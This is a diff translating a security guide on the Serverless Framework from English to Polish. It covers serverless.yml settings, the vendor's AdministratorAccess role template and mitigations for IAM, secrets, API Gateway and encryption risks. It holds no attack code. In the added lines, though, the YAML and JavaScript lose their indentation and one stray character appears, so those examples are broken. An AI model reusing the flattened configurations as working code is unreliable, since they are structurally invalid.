-Provider +Dostawca -The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider. - -It includes details like the runtime, region, stage, and credentials. +Obiekt **Dostawca** określa dostawcę usług chmurowych (np. AWS, Azure, Google Cloud) i zawiera ustawienia konfiguracyjne istotne dla tego dostawcy. +Zawiera szczegóły takie jak środowisko uruchomieniowe, region, etap i dane uwierzytelniające. ```yaml yamlCopy codeprovider: - name: aws - runtime: nodejs14.x - region: us-east-1 - stage: dev +name: aws +runtime: nodejs14.x +region: us-east-1 +stage: dev ``` -
-Stage and Region - -The stage represents different environments (e.g., development, staging, production) where your service can be deployed. It allows for environment-specific configurations and deployments. +Etap i Region +Etap reprezentuje różne środowiska (np. rozwój, staging, produkcja), w których Twoja usługa może być wdrożona. Umożliwia to konfiguracje i wdrożenia specyficzne dla środowiska. ```yaml provider: - stage: dev +stage: dev ``` - -The region specifies the geographical region where your resources will be deployed. It's important for latency, compliance, and availability considerations. - +Region określa geograficzny obszar, w którym Twoje zasoby będą wdrażane. Jest to ważne z uwagi na opóźnienia, zgodność i dostępność. ```yaml provider: - region: us-west-2 +region: us-west-2 ``` -
-Plugins - -**Plugins** extend the functionality of the Serverless Framework by adding new features or integrating with other tools and services. They are defined under the `plugins` section and installed via npm. +Wtyczki +**Wtyczki** rozszerzają funkcjonalność Frameworka Serverless, dodając nowe funkcje lub integrując się z innymi narzędziami i usługami. Są definiowane w sekcji `plugins` i instalowane za pomocą npm. ```yaml plugins: - - serverless-offline - - serverless-webpack +- serverless-offline +- serverless-webpack ``` -
-Layers - -**Layers** allow you to package and manage shared code or dependencies separately from your functions. This promotes reusability and reduces deployment package sizes. They are defined under the `layers` section and referenced by functions. +Warstwy +**Warstwy** pozwalają na pakowanie i zarządzanie wspólnym kodem lub zależnościami oddzielnie od twoich funkcji. To promuje ponowne użycie i zmniejsza rozmiary pakietów wdrożeniowych. Są definiowane w sekcji `layers` i są odniesione przez funkcje. ```yaml layers: - commonLibs: - path: layer-common +commonLibs: +path: layer-common functions: - hello: - handler: handler.hello - layers: - - { Ref: CommonLibsLambdaLayer } +hello: +handler: handler.hello +layers: +- { Ref: CommonLibsLambdaLayer } +``` +
+ +
+ +Zmienne i Zmienne Niestandardowe + +**Zmienne** umożliwiają dynamiczną konfigurację, pozwalając na użycie miejsc zastępczych, które są rozwiązywane w czasie wdrażania. + +- **Składnia:** składnia `${variable}` może odnosić się do zmiennych środowiskowych, zawartości plików lub innych parametrów konfiguracyjnych. + +```yaml +functions: +hello: +handler: handler.hello +environment: +TABLE_NAME: ${self:custom.tableName} +``` + +* **Zmienne Niestandardowe:** sekcja `custom` jest używana do definiowania zmiennych i konfiguracji specyficznych dla użytkownika, które mogą być ponownie używane w całym pliku `serverless.yml`. + +```yaml +custom: +tableName: my-dynamodb-table +stage: ${opt:stage, 'dev'} ```
-Variables and Custom Variables - -**Variables** enable dynamic configuration by allowing the use of placeholders that are resolved at deployment time. - -- **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters. - - ```yaml - functions: - hello: - handler: handler.hello - environment: - TABLE_NAME: ${self:custom.tableName} - ``` - -* **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`. - - ```yaml - custom: - tableName: my-dynamodb-table - stage: ${opt:stage, 'dev'} - ``` - -
- -
- -Outputs - -**Outputs** define the values that are returned after a service is deployed, such as resource ARNs, endpoints, or other useful information. They are specified under the `outputs` section and often used to expose information to other services or for easy access post-deployment. +Wyjścia +**Wyjścia** definiują wartości, które są zwracane po wdrożeniu usługi, takie jak ARNy zasobów, punkty końcowe lub inne przydatne informacje. Są one określone w sekcji `outputs` i często używane do udostępniania informacji innym usługom lub do łatwego dostępu po wdrożeniu. ```yaml ¡outputs: - ApiEndpoint: - Description: "API Gateway endpoint URL" - Value: - Fn::Join: - - "" - - - "https://" - - Ref: ApiGatewayRestApi - - ".execute-api." - - Ref: AWS::Region - - ".amazonaws.com/" - - Ref: AWS::Stage +ApiEndpoint: +Description: "API Gateway endpoint URL" +Value: +Fn::Join: +- "" +- - "https://" +- Ref: ApiGatewayRestApi +- ".execute-api." +- Ref: AWS::Region +- ".amazonaws.com/" +- Ref: AWS::Stage ``` -
-IAM Roles and Permissions - -**IAM Roles and Permissions** define the security credentials and access rights for your functions and other resources. They are managed under the `provider` or individual function settings to specify necessary permissions. +Role i uprawnienia IAM +**Role i uprawnienia IAM** definiują dane uwierzytelniające bezpieczeństwa i prawa dostępu do Twoich funkcji i innych zasobów. Są zarządzane w ramach ustawień `provider` lub indywidualnych funkcji, aby określić niezbędne uprawnienia. ```yaml provider: - [...] - iam: - role: - statements: - - Effect: 'Allow' - Action: - - 'dynamodb:PutItem' - - 'dynamodb:Get*' - - 'dynamodb:Scan*' - - 'dynamodb:UpdateItem' - - 'dynamodb:DeleteItem' - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} +[...] +iam: +role: +statements: +- Effect: 'Allow' +Action: +- 'dynamodb:PutItem' +- 'dynamodb:Get*' +- 'dynamodb:Scan*' +- 'dynamodb:UpdateItem' +- 'dynamodb:DeleteItem' +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` -
-Environment Variables - -**Variables** allow you to pass configuration settings and secrets to your functions without hardcoding them. They are defined under the `environment` section for either the provider or individual functions. +Zmienne Środowiskowe +**Zmienne** pozwalają na przekazywanie ustawień konfiguracyjnych i sekretów do twoich funkcji bez ich twardego kodowania. Są definiowane w sekcji `environment` dla dostawcy lub poszczególnych funkcji. ```yaml provider: - environment: - STAGE: ${self:provider.stage} +environment: +STAGE: ${self:provider.stage} functions: - hello: - handler: handler.hello - environment: - TABLE_NAME: ${self:custom.tableName} +hello: +handler: handler.hello +environment: +TABLE_NAME: ${self:custom.tableName} ``` -
-Dependencies - -**Dependencies** manage the external libraries and modules your functions require. They typically handled via package managers like npm or pip, and bundled with your deployment package using tools or plugins like `serverless-webpack`. +Zależności +**Zależności** zarządzają zewnętrznymi bibliotekami i modułami, których potrzebują Twoje funkcje. Zazwyczaj są obsługiwane za pomocą menedżerów pakietów, takich jak npm lub pip, i pakowane z Twoim pakietem wdrożeniowym przy użyciu narzędzi lub wtyczek, takich jak `serverless-webpack`. ```yaml plugins: - - serverless-webpack +- serverless-webpack ``` -
Hooks -**Hooks** allow you to run custom scripts or commands at specific points in the deployment lifecycle. They are defined using plugins or within the `serverless.yml` to perform actions before or after deployments. - +**Hooks** pozwalają na uruchamianie niestandardowych skryptów lub poleceń w określonych punktach cyklu życia wdrożenia. Są definiowane za pomocą wtyczek lub w pliku `serverless.yml`, aby wykonywać działania przed lub po wdrożeniach. ```yaml custom: - hooks: - before:deploy:deploy: echo "Starting deployment..." +hooks: +before:deploy:deploy: echo "Starting deployment..." ``` -
### Tutorial -This is a summary of the official tutorial [**from the docs**](https://www.serverless.com/framework/docs/tutorial): - -1. Create an AWS account (Serverless.com start in AWS infrastructure) -2. Create an account in serverless.com -3. Create an app: +To jest podsumowanie oficjalnego tutorialu [**z dokumentacji**](https://www.serverless.com/framework/docs/tutorial): +1. Utwórz konto AWS (Serverless.com zaczyna w infrastrukturze AWS) +2. Utwórz konto w serverless.com +3. Utwórz aplikację: ```bash # Create temp folder for the tutorial mkdir /tmp/serverless-tutorial @@ -313,26 +284,22 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` - -This should have created an **app** called `tutorialapp` that you can check in [serverless.com](serverless.com-security.md) and a folder called `Tutorial` with the file **`handler.js`** containing some JS code with a `helloworld` code and the file **`serverless.yml`** declaring that function: +To powinno stworzyć **aplikację** o nazwie `tutorialapp`, którą możesz sprawdzić w [serverless.com](serverless.com-security.md) oraz folder o nazwie `Tutorial` z plikiem **`handler.js`** zawierającym kod JS z kodem `helloworld` oraz plikiem **`serverless.yml`** deklarującym tę funkcję: {{#tabs }} {{#tab name="handler.js" }} - ```javascript exports.hello = async (event) => { - return { - statusCode: 200, - body: JSON.stringify({ - message: "Go Serverless v4! Your function executed successfully!", - }), - } +return { +statusCode: 200, +body: JSON.stringify({ +message: "Go Serverless v4! Your function executed successfully!", +}), +} } ``` - {{#endtab }} {{#tab name="serverless.yml" }} - ```yaml # "org" ensures this Service is used with the correct Serverless Framework Access Key. org: testing12342 @@ -342,130 +309,122 @@ app: tutorialapp service: Tutorial provider: - name: aws - runtime: nodejs20.x +name: aws +runtime: nodejs20.x functions: - hello: - handler: handler.hello - events: - - httpApi: - path: / - method: get +hello: +handler: handler.hello +events: +- httpApi: +path: / +method: get ``` - {{#endtab }} {{#endtabs }} -4. Create an AWS provider, going in the **dashboard** in `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. - 1. To give `serverless.com` access to AWS It will ask to run a cloudformation stack using this config file (at the time of this writing): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) - 2. This template generates a role called **`SFRole-`** with **`arn:aws:iam::aws:policy/AdministratorAccess`** over the account with a Trust Identity that allows `Serverless.com` AWS account to access the role. +4. Utwórz dostawcę AWS, przechodząc do **dashboardu** w `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. +1. Aby dać `serverless.com` dostęp do AWS, poprosi o uruchomienie stosu cloudformation przy użyciu tego pliku konfiguracyjnego (w momencie pisania tego tekstu): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) +2. Ten szablon generuje rolę o nazwie **`SFRole-`** z **`arn:aws:iam::aws:policy/AdministratorAccess`** dla konta z tożsamością zaufania, która pozwala na dostęp konta `Serverless.com` do tej roli.
Yaml roleTemplate - ```yaml Description: This stack creates an IAM role that can be used by Serverless Framework for use in deployments. Resources: - SFRole: - Type: AWS::IAM::Role - Properties: - AssumeRolePolicyDocument: - Version: "2012-10-17" - Statement: - - Effect: Allow - Principal: - AWS: arn:aws:iam::486128539022:root - Action: - - sts:AssumeRole - Condition: - StringEquals: - sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}" - Path: / - RoleName: !Ref RoleName - ManagedPolicyArns: - - arn:aws:iam::aws:policy/AdministratorAccess - ReporterFunction: - Type: Custom::ServerlessFrameworkReporter - Properties: - ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec" - OrgUid: !Ref OrgUid - RoleArn: !GetAtt SFRole.Arn - Alias: !Ref Alias +SFRole: +Type: AWS::IAM::Role +Properties: +AssumeRolePolicyDocument: +Version: "2012-10-17" +Statement: +- Effect: Allow +Principal: +AWS: arn:aws:iam::486128539022:root +Action: +- sts:AssumeRole +Condition: +StringEquals: +sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}" +Path: / +RoleName: !Ref RoleName +ManagedPolicyArns: +- arn:aws:iam::aws:policy/AdministratorAccess +ReporterFunction: +Type: Custom::ServerlessFrameworkReporter +Properties: +ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec" +OrgUid: !Ref OrgUid +RoleArn: !GetAtt SFRole.Arn +Alias: !Ref Alias Outputs: - SFRoleArn: - Description: "ARN for the IAM Role used by Serverless Framework" - Value: !GetAtt SFRole.Arn +SFRoleArn: +Description: "ARN for the IAM Role used by Serverless Framework" +Value: !GetAtt SFRole.Arn Parameters: - OrgUid: - Description: Serverless Framework Org Uid - Type: String - Alias: - Description: Serverless Framework Provider Alias - Type: String - RoleName: - Description: Serverless Framework Role Name - Type: String +OrgUid: +Description: Serverless Framework Org Uid +Type: String +Alias: +Description: Serverless Framework Provider Alias +Type: String +RoleName: +Description: Serverless Framework Role Name +Type: String ``` -
-Trust Relationship - +Relacja Zaufania ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::486128539022:root" - }, - "Action": "sts:AssumeRole", - "Condition": { - "StringEquals": { - "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::486128539022:root" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb" +} +} +} +] } ``` -
-5. The tutorial asks to create the file `createCustomer.js` which will basically create a new API endpoint handled by the new JS file and asks to modify the `serverless.yml` file to make it generate a **new DynamoDB table**, define an **environment variable**, the role that will be using the generated lambdas. +5. Tutorial prosi o utworzenie pliku `createCustomer.js`, który zasadniczo utworzy nowy punkt końcowy API obsługiwany przez nowy plik JS i prosi o modyfikację pliku `serverless.yml`, aby wygenerować **nową tabelę DynamoDB**, zdefiniować **zmienną środowiskową**, rolę, która będzie używać wygenerowanych lambd. {{#tabs }} {{#tab name="createCustomer.js" }} - ```javascript "use strict" const AWS = require("aws-sdk") module.exports.createCustomer = async (event) => { - const body = JSON.parse(Buffer.from(event.body, "base64").toString()) - const dynamoDb = new AWS.DynamoDB.DocumentClient() - const putParams = { - TableName: process.env.DYNAMODB_CUSTOMER_TABLE, - Item: { - primary_key: body.name, - email: body.email, - }, - } - await dynamoDb.put(putParams).promise() - return { - statusCode: 201, - } +const body = JSON.parse(Buffer.from(event.body, "base64").toString()) +const dynamoDb = new AWS.DynamoDB.DocumentClient() +const putParams = { +TableName: process.env.DYNAMODB_CUSTOMER_TABLE, +Item: { +primary_key: body.name, +email: body.email, +}, +} +await dynamoDb.put(putParams).promise() +return { +statusCode: 201, +} } ``` - {{#endtab }} {{#tab name="serverless.yml" }} - ```yaml # "org" ensures this Service is used with the correct Serverless Framework Access Key. org: testing12342 @@ -475,388 +434,379 @@ app: tutorialapp service: Tutorial provider: - name: aws - runtime: nodejs20.x - environment: - DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage} - iam: - role: - statements: - - Effect: "Allow" - Action: - - "dynamodb:PutItem" - - "dynamodb:Get*" - - "dynamodb:Scan*" - - "dynamodb:UpdateItem" - - "dynamodb:DeleteItem" - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} +name: aws +runtime: nodejs20.x +environment: +DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage} +iam: +role: +statements: +- Effect: "Allow" +Action: +- "dynamodb:PutItem" +- "dynamodb:Get*" +- "dynamodb:Scan*" +- "dynamodb:UpdateItem" +- "dynamodb:DeleteItem" +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} functions: - hello: - handler: handler.hello - events: - - httpApi: - path: / - method: get - createCustomer: - handler: createCustomer.createCustomer - events: - - httpApi: - path: / - method: post +hello: +handler: handler.hello +events: +- httpApi: +path: / +method: get +createCustomer: +handler: createCustomer.createCustomer +events: +- httpApi: +path: / +method: post resources: - Resources: - CustomerTable: - Type: AWS::DynamoDB::Table - Properties: - AttributeDefinitions: - - AttributeName: primary_key - AttributeType: S - BillingMode: PAY_PER_REQUEST - KeySchema: - - AttributeName: primary_key - KeyType: HASH - TableName: ${self:service}-customerTable-${sls:stage} +Resources: +CustomerTable: +Type: AWS::DynamoDB::Table +Properties: +AttributeDefinitions: +- AttributeName: primary_key +AttributeType: S +BillingMode: PAY_PER_REQUEST +KeySchema: +- AttributeName: primary_key +KeyType: HASH +TableName: ${self:service}-customerTable-${sls:stage} ``` - {{#endtab }} {{#endtabs }} -6. Deploy it running **`serverless deploy`** - 1. The deployment will be performed via a CloudFormation Stack - 2. Note that the **lambdas are exposed via API gateway** and not via direct URLs -7. **Test it** - 1. The previous step will print the **URLs** where your API endpoints lambda functions have been deployed +6. Wdróż to, uruchamiając **`serverless deploy`** +1. Wdrożenie zostanie przeprowadzone za pomocą CloudFormation Stack +2. Zauważ, że **lambdy są wystawione za pomocą API gateway** i nie za pomocą bezpośrednich URL-i +7. **Przetestuj to** +1. Poprzedni krok wydrukuje **URL-e**, gdzie Twoje funkcje lambda punktów końcowych API zostały wdrożone -## Security Review of Serverless.com +## Przegląd bezpieczeństwa Serverless.com -### **Misconfigured IAM Roles and Permissions** +### **Źle skonfigurowane role IAM i uprawnienia** -Overly permissive IAM roles can grant unauthorized access to cloud resources, leading to data breaches or resource manipulation. +Zbyt szerokie role IAM mogą przyznać nieautoryzowany dostęp do zasobów chmurowych, prowadząc do naruszeń danych lub manipulacji zasobami. -When no permissions are specified for the a Lambda function, a role with permissions only to generate logs will be created, like: +Gdy nie określono uprawnień dla funkcji Lambda, zostanie utworzona rola z uprawnieniami tylko do generowania logów, jak:
-Minimum lambda permissions - +Minimalne uprawnienia lambda ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Action": [ - "logs:CreateLogStream", - "logs:CreateLogGroup", - "logs:TagResource" - ], - "Resource": [ - "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*" - ], - "Effect": "Allow" - }, - { - "Action": ["logs:PutLogEvents"], - "Resource": [ - "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*" - ], - "Effect": "Allow" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Action": [ +"logs:CreateLogStream", +"logs:CreateLogGroup", +"logs:TagResource" +], +"Resource": [ +"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*" +], +"Effect": "Allow" +}, +{ +"Action": ["logs:PutLogEvents"], +"Resource": [ +"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*" +], +"Effect": "Allow" +} +] } ``` -
-#### **Mitigation Strategies** +#### **Strategie łagodzenia** -- **Principle of Least Privilege:** Assign only necessary permissions to each function. - - ```yaml - provider: - [...] - iam: - role: - statements: - - Effect: 'Allow' - Action: - - 'dynamodb:PutItem' - - 'dynamodb:Get*' - - 'dynamodb:Scan*' - - 'dynamodb:UpdateItem' - - 'dynamodb:DeleteItem' - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} - ``` - -- **Use Separate Roles:** Differentiate roles based on function requirements. - ---- - -### **Insecure Secrets and Configuration Management** - -Storing sensitive information (e.g., API keys, database credentials) directly in **`serverless.yml`** or code can lead to exposure if repositories are compromised. - -The **recommended** way to store environment variables in **`serverless.yml`** file from serverless.com (at the time of this writing) is to use the `ssm` or `s3` providers, which allows to get the **environment values from these sources at deployment time** and **configure** the **lambdas** environment variables with the **text clear of the values**! - -> [!CAUTION] -> Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!** - -For example, the following example will use SSM to get an environment variable: +- **Zasada najmniejszych uprawnień:** Przydzielaj tylko niezbędne uprawnienia do każdej funkcji. ```yaml provider: - environment: - DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} +[...] +iam: +role: +statements: +- Effect: 'Allow' +Action: +- 'dynamodb:PutItem' +- 'dynamodb:Get*' +- 'dynamodb:Scan*' +- 'dynamodb:UpdateItem' +- 'dynamodb:DeleteItem' +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` +- **Używaj oddzielnych ról:** Rozróżniaj role na podstawie wymagań funkcji. + +--- + +### **Niebezpieczne sekrety i zarządzanie konfiguracją** + +Przechowywanie wrażliwych informacji (np. kluczy API, poświadczeń bazy danych) bezpośrednio w **`serverless.yml`** lub kodzie może prowadzić do ujawnienia, jeśli repozytoria zostaną skompromitowane. + +**Zalecanym** sposobem przechowywania zmiennych środowiskowych w pliku **`serverless.yml`** z serverless.com (w momencie pisania tego tekstu) jest użycie dostawców `ssm` lub `s3`, co pozwala na pobranie **wartości środowiskowych z tych źródeł w czasie wdrażania** i **konfigurowanie** zmiennych środowiskowych **lambd** z **czystym tekstem wartości**! + +> [!OSTRZEŻENIE] +> Dlatego każdy, kto ma uprawnienia do odczytu konfiguracji lambd w AWS, będzie mógł **uzyskać dostęp do wszystkich tych zmiennych środowiskowych w czystym tekście!** + +Na przykład, poniższy przykład użyje SSM do pobrania zmiennej środowiskowej: +```yaml +provider: +environment: +DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} +``` And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**. > [!TIP] > The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**. -#### **Mitigation Strategies** +#### **Strategie łagodzenia** -- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.** -- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data. -- **Access Controls:** Restrict access to secrets based on roles. +- **Integracja z Menedżerem Sekretów:** Użyj usług takich jak **AWS Secrets Manager.** +- **Szyfrowane Zmienne:** Wykorzystaj funkcje szyfrowania Frameworka Serverless dla wrażliwych danych. +- **Kontrola Dostępu:** Ogranicz dostęp do sekretów na podstawie ról. --- -### **Vulnerable Code and Dependencies** +### **Wrażliwy Kod i Zależności** -Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks. +Nieaktualne lub niebezpieczne zależności mogą wprowadzać luki, podczas gdy niewłaściwe przetwarzanie danych wejściowych może prowadzić do ataków typu injection. -#### **Mitigation Strategies** +#### **Strategie łagodzenia** -- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities. +- **Zarządzanie Zależnościami:** Regularnie aktualizuj zależności i skanuj pod kątem luk. - ```yaml - plugins: - - serverless-webpack - - serverless-plugin-snyk - ``` +```yaml +plugins: +- serverless-webpack +- serverless-plugin-snyk +``` -- **Input Validation:** Implement strict validation and sanitization of all inputs. -- **Code Reviews:** Conduct thorough reviews to identify security flaws. -- **Static Analysis:** Use tools to detect vulnerabilities in the codebase. +- **Walidacja Danych Wejściowych:** Wprowadź ścisłą walidację i sanitację wszystkich danych wejściowych. +- **Przeglądy Kodów:** Przeprowadzaj dokładne przeglądy, aby zidentyfikować wady bezpieczeństwa. +- **Analiza Statyczna:** Użyj narzędzi do wykrywania luk w kodzie. --- -### **Inadequate Logging and Monitoring** +### **Niewystarczające Logowanie i Monitorowanie** -Without proper logging and monitoring, malicious activities may go undetected, delaying incident response. +Bez odpowiedniego logowania i monitorowania, złośliwe działania mogą pozostać niezauważone, opóźniając reakcję na incydenty. -#### **Mitigation Strategies** +#### **Strategie łagodzenia** -- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**. +- **Centralne Logowanie:** Agreguj logi za pomocą usług takich jak **AWS CloudWatch** lub **Datadog**. - ```yaml - plugins: - - serverless-plugin-datadog - ``` +```yaml +plugins: +- serverless-plugin-datadog +``` -- **Enable Detailed Logging:** Capture essential information without exposing sensitive data. -- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies. -- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents. +- **Włącz Szczegółowe Logowanie:** Zbieraj istotne informacje bez ujawniania wrażliwych danych. +- **Ustaw Powiadomienia:** Skonfiguruj powiadomienia o podejrzanych działaniach lub anomaliach. +- **Regularne Monitorowanie:** Ciągłe monitorowanie logów i metryk w poszukiwaniu potencjalnych incydentów bezpieczeństwa. --- -### **Insecure API Gateway Configurations** +### **Niezabezpieczone Konfiguracje API Gateway** -Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks. +Otwarte lub niewłaściwie zabezpieczone API mogą być wykorzystywane do nieautoryzowanego dostępu, ataków typu Denial of Service (DoS) lub ataków między witrynami. -#### **Mitigation Strategies** +#### **Strategie łagodzenia** -- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT. +- **Uwierzytelnianie i Autoryzacja:** Wprowadź solidne mechanizmy, takie jak OAuth, klucze API lub JWT. - ```yaml - functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - authorizer: aws_iam - ``` +```yaml +functions: +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +authorizer: aws_iam +``` -- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates. +- **Ograniczenie Ruchu i Throttling:** Zapobiegaj nadużyciom, ograniczając tempo żądań. - ```yaml - provider: - apiGateway: - throttle: - burstLimit: 200 - rateLimit: 100 - ``` +```yaml +provider: +apiGateway: +throttle: +burstLimit: 200 +rateLimit: 100 +``` -- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers. +- **Zabezpieczona Konfiguracja CORS:** Ogranicz dozwolone źródła, metody i nagłówki. - ```yaml - functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - cors: - origin: https://yourdomain.com - headers: - - Content-Type - ``` +```yaml +functions: +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +cors: +origin: https://yourdomain.com +headers: +- Content-Type +``` -- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns. +- **Użyj Zapór Aplikacji Webowych (WAF):** Filtruj i monitoruj żądania HTTP w poszukiwaniu złośliwych wzorców. --- -### **Insufficient Function Isolation** +### **Niewystarczająca Izolacja Funkcji** -Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions. +Wspólne zasoby i niewystarczająca izolacja mogą prowadzić do eskalacji uprawnień lub niezamierzonych interakcji między funkcjami. -#### **Mitigation Strategies** +#### **Strategie łagodzenia** -- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation. -- **Resource Partitioning:** Use separate databases or storage buckets for different functions. -- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation. +- **Izoluj Funkcje:** Przypisz odrębne zasoby i role IAM, aby zapewnić niezależne działanie. +- **Podział Zasobów:** Użyj oddzielnych baz danych lub koszyków do przechowywania dla różnych funkcji. +- **Użyj VPC:** Wdrażaj funkcje w Wirtualnych Prywatnych Chmurach dla lepszej izolacji sieci. - ```yaml - provider: - vpc: - securityGroupIds: - - sg-xxxxxxxx - subnetIds: - - subnet-xxxxxx - ``` +```yaml +provider: +vpc: +securityGroupIds: +- sg-xxxxxxxx +subnetIds: +- subnet-xxxxxx +``` -- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required. +- **Ogranicz Uprawnienia Funkcji:** Upewnij się, że funkcje nie mogą uzyskiwać dostępu do zasobów innych funkcji, chyba że jest to wyraźnie wymagane. --- -### **Inadequate Data Protection** +### **Niewystarczająca Ochrona Danych** -Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering. +Nieszyfrowane dane w spoczynku lub w tranzycie mogą być narażone, prowadząc do naruszeń danych lub manipulacji. -#### **Mitigation Strategies** +#### **Strategie łagodzenia** -- **Encrypt Data at Rest:** Utilize cloud service encryption features. +- **Szyfruj Dane w Spoczynku:** Wykorzystaj funkcje szyfrowania usług chmurowych. - ```yaml - resources: - Resources: - MyDynamoDBTable: - Type: AWS::DynamoDB::Table - Properties: - SSESpecification: - SSEEnabled: true - ``` +```yaml +resources: +Resources: +MyDynamoDBTable: +Type: AWS::DynamoDB::Table +Properties: +SSESpecification: +SSEEnabled: true +``` -- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions. -- **Secure API Communication:** Enforce encryption protocols and validate certificates. -- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly. +- **Szyfruj Dane w Tranzycie:** Użyj HTTPS/TLS dla wszystkich transmisji danych. +- **Zabezpiecz Komunikację API:** Wymuś protokoły szyfrowania i waliduj certyfikaty. +- **Zarządzaj Kluczami Szyfrującymi Bezpiecznie:** Użyj zarządzanych usług kluczy i regularnie rotuj klucze. --- -### **Lack of Proper Error Handling** +### **Brak Odpowiedniego Obsługi Błędów** -Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes. +Szczegółowe komunikaty o błędach mogą ujawniać wrażliwe informacje o infrastrukturze lub kodzie, podczas gdy nieobsługiwane wyjątki mogą prowadzić do awarii aplikacji. -#### **Mitigation Strategies** +#### **Strategie łagodzenia** -- **Generic Error Messages:** Avoid exposing internal details in error responses. +- **Ogólne Komunikaty o Błędach:** Unikaj ujawniania wewnętrznych szczegółów w odpowiedziach błędów. - ```javascript - javascriptCopy code// Example in Node.js - exports.hello = async (event) => { - try { - // Function logic - } catch (error) { - console.error(error); - return { - statusCode: 500, - body: JSON.stringify({ message: 'Internal Server Error' }), - }; - } - }; - ``` +```javascript +javascriptCopy code// Przykład w Node.js +exports.hello = async (event) => { +try { +// Logika funkcji +} catch (error) { +console.error(error); +return { +statusCode: 500, +body: JSON.stringify({ message: 'Internal Server Error' }), +}; +} +}; +``` -- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions. -- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users. +- **Centralna Obsługa Błędów:** Zarządzaj i sanitizuj błędy konsekwentnie w wszystkich funkcjach. +- **Monitoruj i Loguj Błędy:** Śledź i analizuj błędy wewnętrznie, nie ujawniając szczegółów użytkownikom końcowym. --- -### **Insecure Deployment Practices** +### **Niezabezpieczone Praktyki Wdrażania** -Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations. +Ujawniłe konfiguracje wdrożeniowe lub nieautoryzowany dostęp do pipeline'ów CI/CD mogą prowadzić do złośliwych wdrożeń kodu lub błędnych konfiguracji. -#### **Mitigation Strategies** +#### **Strategie łagodzenia** -- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular 